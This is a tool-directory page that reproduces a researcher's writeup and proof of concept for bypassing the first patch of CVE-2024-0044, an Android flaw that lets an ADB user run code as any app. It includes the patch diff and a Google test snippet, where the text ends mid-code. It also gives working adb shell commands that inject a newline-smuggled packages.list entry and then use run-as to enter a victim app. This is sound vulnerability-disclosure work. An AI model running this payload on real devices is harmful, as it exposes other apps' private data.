Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-0044 — Proof-of-concept and writeup for bypassing the initial patch of CVE-2024-0044, an Android framework vulnerability enabling privilege escalation from ADB to arbitrary app UID via installer package name injection. | Kitploit
Tools/GitHubGitHub/canyie/cve-2024-0044
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

Proof-of-concept and writeup for bypassing the initial patch of CVE-2024-0044, an Android framework vulnerability enabling privilege escalation from ADB to arbitrary app UID via installer package name injection.

1802982 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2024-0044/A-307532206 is a High severity vulnerability in the Android framework that allows attackers with adb access to run arbitrary code under the UID of arbitrary app. It was originally found by Tom Hebb from Meta Red Team X. You can found many articles on exploit this vulnerability on the Internet such as this and this. For more info, check this blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

The patch for this vulnerability is included in the March 2024 Android Security Bulletin, but now I come up with an exploit that bypasses the patch. The new patch is included in October 2024 Android Security Bulletin under the same CVE ID CVE-2024-0044. Android 12-13 devices with security patch level before 2024-10-01 are vulnerable to this issue.

This repo contains a minimum reproducible PoC and a writeup.

What's wrong with the original patch?

The patch added a validation for installer package name passed to the PackageManagerService:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

You can see params.installerPackageName will be reset to null if it is not an legal Android package name. However, at the next line, requestedInstallerPackageName can be installerPackageName when params.installerPackageName is null or invalid.

What is installerPackageName?

Let's take a look at the createSessionInternal method, where the patch was added to:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

You can see that installerPackageName is a separate argument that does not come from param. The original patch validated params.installerPackageName, but forgot to validate installerPackageName.

Reproduction

You can just use the original exploit code from Tom Hebb's blog to reproduce it. This repo also contains a minimum reproducible PoC. If you want to test my PoC, just build it, push the generated apk to /data/local/tmp/poc.apk, then run the following code with adb shell:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

replace <victim uid> with the UID of the victim app.

If you want to play the game again, run adb uninstall top.canyie.cve_2024_0044 and re-run the code above.

How it happened twice?

The issue looks obvious, how did it escape everyone's sight?

Well, Google did add a test for this issue to ensure it is fixed:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);
Download Tool